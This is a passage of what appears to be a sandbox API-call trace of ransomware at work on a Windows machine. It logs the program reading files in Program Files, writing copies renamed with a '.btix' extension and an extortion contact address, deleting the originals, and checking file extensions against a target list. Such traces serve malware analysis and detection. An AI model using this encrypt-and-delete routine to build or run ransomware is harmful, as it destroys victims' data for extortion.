shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0046.244] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=9803) returned 1 [0046.244] CloseHandle (hObject=0x37c) returned 1 [0046.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0046.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0046.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0046.245] lstrlenW (lpString=".doc") returned 4 [0046.245] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.245] lstrlenW (lpString=".docx") returned 5 [0046.245] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0046.245] lstrlenW (lpString=".pdf") returned 4 [0046.245] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.245] lstrlenW (lpString=".xls") returned 4 [0046.245] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.245] lstrlenW (lpString=".xlsx") returned 5 [0046.245] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0046.245] lstrlenW (lpString=".ppt") returned 4 [0046.245] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0046.245] lstrlenW (lpString=".zip") returned 4 [0046.245] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.245] lstrlenW (lpString=".rar") returned 4 [0046.245] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.245] lstrlenW (lpString=".bz2") returned 4 [0046.245] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.245] lstrlenW (lpString=".7z") returned 3 [0046.245] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0046.245] lstrlenW (lpString=".dbf") returned 4 [0046.245] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.952] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0046.952] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0046.952] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\desktop.ini.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0046.952] GetLastError () returned 0x0 [0046.952] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xae, lpOverlapped=0x0) returned 1 [0046.953] WriteFile (in: hFile=0x364, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xb0, lpOverlapped=0x0) returned 1 [0046.954] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0046.954] WriteFile (in: hFile=0x364, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xea, lpOverlapped=0x0) returned 1 [0046.954] SetEndOfFile (hFile=0x364) returned 1 [0046.954] CloseHandle (hObject=0x364) returned 1 [0046.954] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0046.954] SetEndOfFile (hFile=0x358) returned 1 [0046.955] CloseHandle (hObject=0x358) returned 1 [0046.955] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x26) returned 1 [0046.955] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0046.956] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.956] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.956] lstrlenW (lpString=".doc") returned 4 [0046.956] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0046.956] lstrlenW (lpString=".docx") returned 5 [0046.956] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0046.956] lstrlenW (lpString=".pdf") returned 4 [0046.956] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0046.956] lstrlenW (lpString=".xls") returned 4 [0046.956] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0046.956] lstrlenW (lpString=".xlsx") returned 5 [0046.956] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0046.956] lstrlenW (lpString=".ppt") returned 4 [0046.956] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0046.956] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.956] lstrlenW (lpString=".zip") returned 4 [0046.956] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0046.956] lstrlenW (lpString=".rar") returned 4 [0046.956] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0046.956] lstrlenW (lpString=".bz2") returned 4 [0046.956] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0046.956] lstrlenW (lpString=".7z") returned 3 [0046.956] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0046.956] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.956] lstrlenW (lpString=".dbf") returned 4 [0046.956] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0046.957] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.957] lstrlenW (lpString=".1cd") returned 4 [0046.957] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0046.957] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.957] lstrlenW (lpString=".jpg") returned 4 [0046.957] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0046.957] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.957] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.957] lstrlenW (lpString=".doc") returned 4 [0046.957] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0046.957] lstrlenW (lpString=".docx") returned 5 [0046.957] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0046.957] lstrlenW (lpString=".pdf") returned 4 [0046.957] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0046.957] lstrlenW (lpString=".xls") returned 4 [0046.957] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0046.957] lstrlenW (lpString=".xlsx") returned 5 [0046.957] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0046.957] lstrlenW (lpString=".ppt") returned 4 [0046.957] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0046.957] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.957] lstrlenW (lpString=".zip") returned 4 [0046.957] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0046.957] lstrlenW (lpString=".rar") returned 4 [0046.957] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0046.957] lstrlenW (lpString=".bz2") returned 4 [0046.957] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0046.957] lstrlenW (lpString=".7z") returned 3 [0046.958] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0046.958] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.958] lstrlenW (lpString=".dbf") returned 4 [0046.958] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0046.958] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.958] lstrlenW (lpString=".1cd") returned 4 [0046.958] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0046.958] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.958] lstrlenW (lpString=".jpg") returned 4 [0046.958] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0046.958] lstrcmpiW (lpString1=".txt", lpString2=".btix") returned 1 [0046.958] lstrlenW (lpString="Xusage.txt") returned 10 [0046.958] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0046.958] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=1423) returned 1 [0046.958] CloseHandle (hObject=0x358) returned 1 [0046.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20 [0046.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.958] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0046.959] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0046.959] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0046.959] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0046.959] GetLastError () returned 0x0 [0046.959] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x58f, lpOverlapped=0x0) returned 1 [0047.012] WriteFile (in: hFile=0x364, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x590, lpOverlapped=0x0) returned 1 [0047.013] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.013] WriteFile (in: hFile=0x364, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe8, lpOverlapped=0x0) returned 1 [0047.013] SetEndOfFile (hFile=0x364) returned 1 [0047.013] CloseHandle (hObject=0x364) returned 1 [0047.014] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.014] SetEndOfFile (hFile=0x358) returned 1 [0047.015] CloseHandle (hObject=0x358) returned 1 [0047.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.272] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1 [0047.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0047.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0047.272] lstrlenW (lpString=".doc") returned 4 [0047.272] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0047.272] lstrlenW (lpString=".docx") returned 5 [0047.272] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0047.272] lstrlenW (lpString=".pdf") returned 4 [0047.272] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0047.272] lstrlenW (lpString=".xls") returned 4 [0047.272] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0047.272] lstrlenW (lpString=".xlsx") returned 5 [0047.272] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0047.272] lstrlenW (lpString=".ppt") returned 4 [0047.272] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0047.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0047.272] lstrlenW (lpString=".zip") returned 4 [0047.272] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0047.272] lstrlenW (lpString=".rar") returned 4 [0047.272] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0047.273] lstrlenW (lpString=".bz2") returned 4 [0047.273] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0047.273] lstrlenW (lpString=".7z") returned 3 [0047.273] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0047.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0047.273] lstrlenW (lpString=".dbf") returned 4 [0047.273] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0047.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0047.273] lstrlenW (lpString=".1cd") returned 4 [0047.273] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0047.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0047.273] lstrlenW (lpString=".jpg") returned 4 [0047.273] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0047.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0047.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0047.273] lstrlenW (lpString=".doc") returned 4 [0047.273] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0047.273] lstrlenW (lpString=".docx") returned 5 [0047.273] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0047.273] lstrlenW (lpString=".pdf") returned 4 [0047.273] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0047.273] lstrlenW (lpString=".xls") returned 4 [0047.273] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0047.273] lstrlenW (lpString=".xlsx") returned 5 [0047.273] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0047.273] lstrlenW (lpString=".ppt") returned 4 [0047.273] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0047.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0047.273] lstrlenW (lpString=".zip") returned 4 [0047.273] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0047.273] lstrlenW (lpString=".rar") returned 4 [0047.273] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0047.273] lstrlenW (lpString=".bz2") returned 4 [0047.273] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0047.273] lstrlenW (lpString=".7z") returned 3 [0047.274] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0047.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0047.274] lstrlenW (lpString=".dbf") returned 4 [0047.274] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0047.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0047.274] lstrlenW (lpString=".1cd") returned 4 [0047.274] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0047.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0047.274] lstrlenW (lpString=".jpg") returned 4 [0047.274] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0047.274] lstrcmpiW (lpString1=".gif", lpString2=".btix") returned 1 [0047.274] lstrlenW (lpString="splash_11-lic.gif") returned 17 [0047.274] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.274] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=7805) returned 1 [0047.274] CloseHandle (hObject=0x318) returned 1 [0047.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0047.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.274] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.275] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.275] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0047.275] GetLastError () returned 0x0 [0047.275] ReadFile (in: hFile=0x318, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x1e7d, lpOverlapped=0x0) returned 1 [0047.506] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0047.579] ReadFile (in: hFile=0x318, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.579] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xf6, lpOverlapped=0x0) returned 1 [0047.579] SetEndOfFile (hFile=0x2e0) returned 1 [0047.581] CloseHandle (hObject=0x2e0) returned 1 [0047.582] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.582] SetEndOfFile (hFile=0x318) returned 1 [0047.583] CloseHandle (hObject=0x318) returned 1 [0047.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.583] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1 [0047.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0047.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0047.583] lstrlenW (lpString=".doc") returned 4 [0047.584] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.584] lstrlenW (lpString=".docx") returned 5 [0047.584] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0047.584] lstrlenW (lpString=".pdf") returned 4 [0047.584] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.584] lstrlenW (lpString=".xls") returned 4 [0047.584] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.584] lstrlenW (lpString=".xlsx") returned 5 [0047.584] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0047.584] lstrlenW (lpString=".ppt") returned 4 [0047.584] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0047.584] lstrlenW (lpString=".zip") returned 4 [0047.584] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.584] lstrlenW (lpString=".rar") returned 4 [0047.584] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.584] lstrlenW (lpString=".bz2") returned 4 [0047.584] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.584] lstrlenW (lpString=".7z") returned 3 [0047.584] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0047.584] lstrlenW (lpString=".dbf") returned 4 [0047.584] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0047.584] lstrlenW (lpString=".1cd") returned 4 [0047.584] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0047.584] lstrlenW (lpString=".jpg") returned 4 [0047.584] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0047.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0047.584] lstrlenW (lpString=".doc") returned 4 [0047.584] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.585] lstrlenW (lpString=".docx") returned 5 [0047.585] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0047.585] lstrlenW (lpString=".pdf") returned 4 [0047.585] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.585] lstrlenW (lpString=".xls") returned 4 [0047.585] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.585] lstrlenW (lpString=".xlsx") returned 5 [0047.585] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0047.585] lstrlenW (lpString=".ppt") returned 4 [0047.585] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0047.585] lstrlenW (lpString=".zip") returned 4 [0047.585] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.585] lstrlenW (lpString=".rar") returned 4 [0047.585] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.585] lstrlenW (lpString=".bz2") returned 4 [0047.585] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.585] lstrlenW (lpString=".7z") returned 3 [0047.585] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0047.585] lstrlenW (lpString=".dbf") returned 4 [0047.585] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0047.585] lstrlenW (lpString=".1cd") returned 4 [0047.585] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0047.585] lstrlenW (lpString=".jpg") returned 4 [0047.585] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.585] lstrcmpiW (lpString1=".gif", lpString2=".btix") returned 1 [0047.585] lstrlenW (lpString="splash_11@2x-lic.gif") returned 20 [0047.585] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, 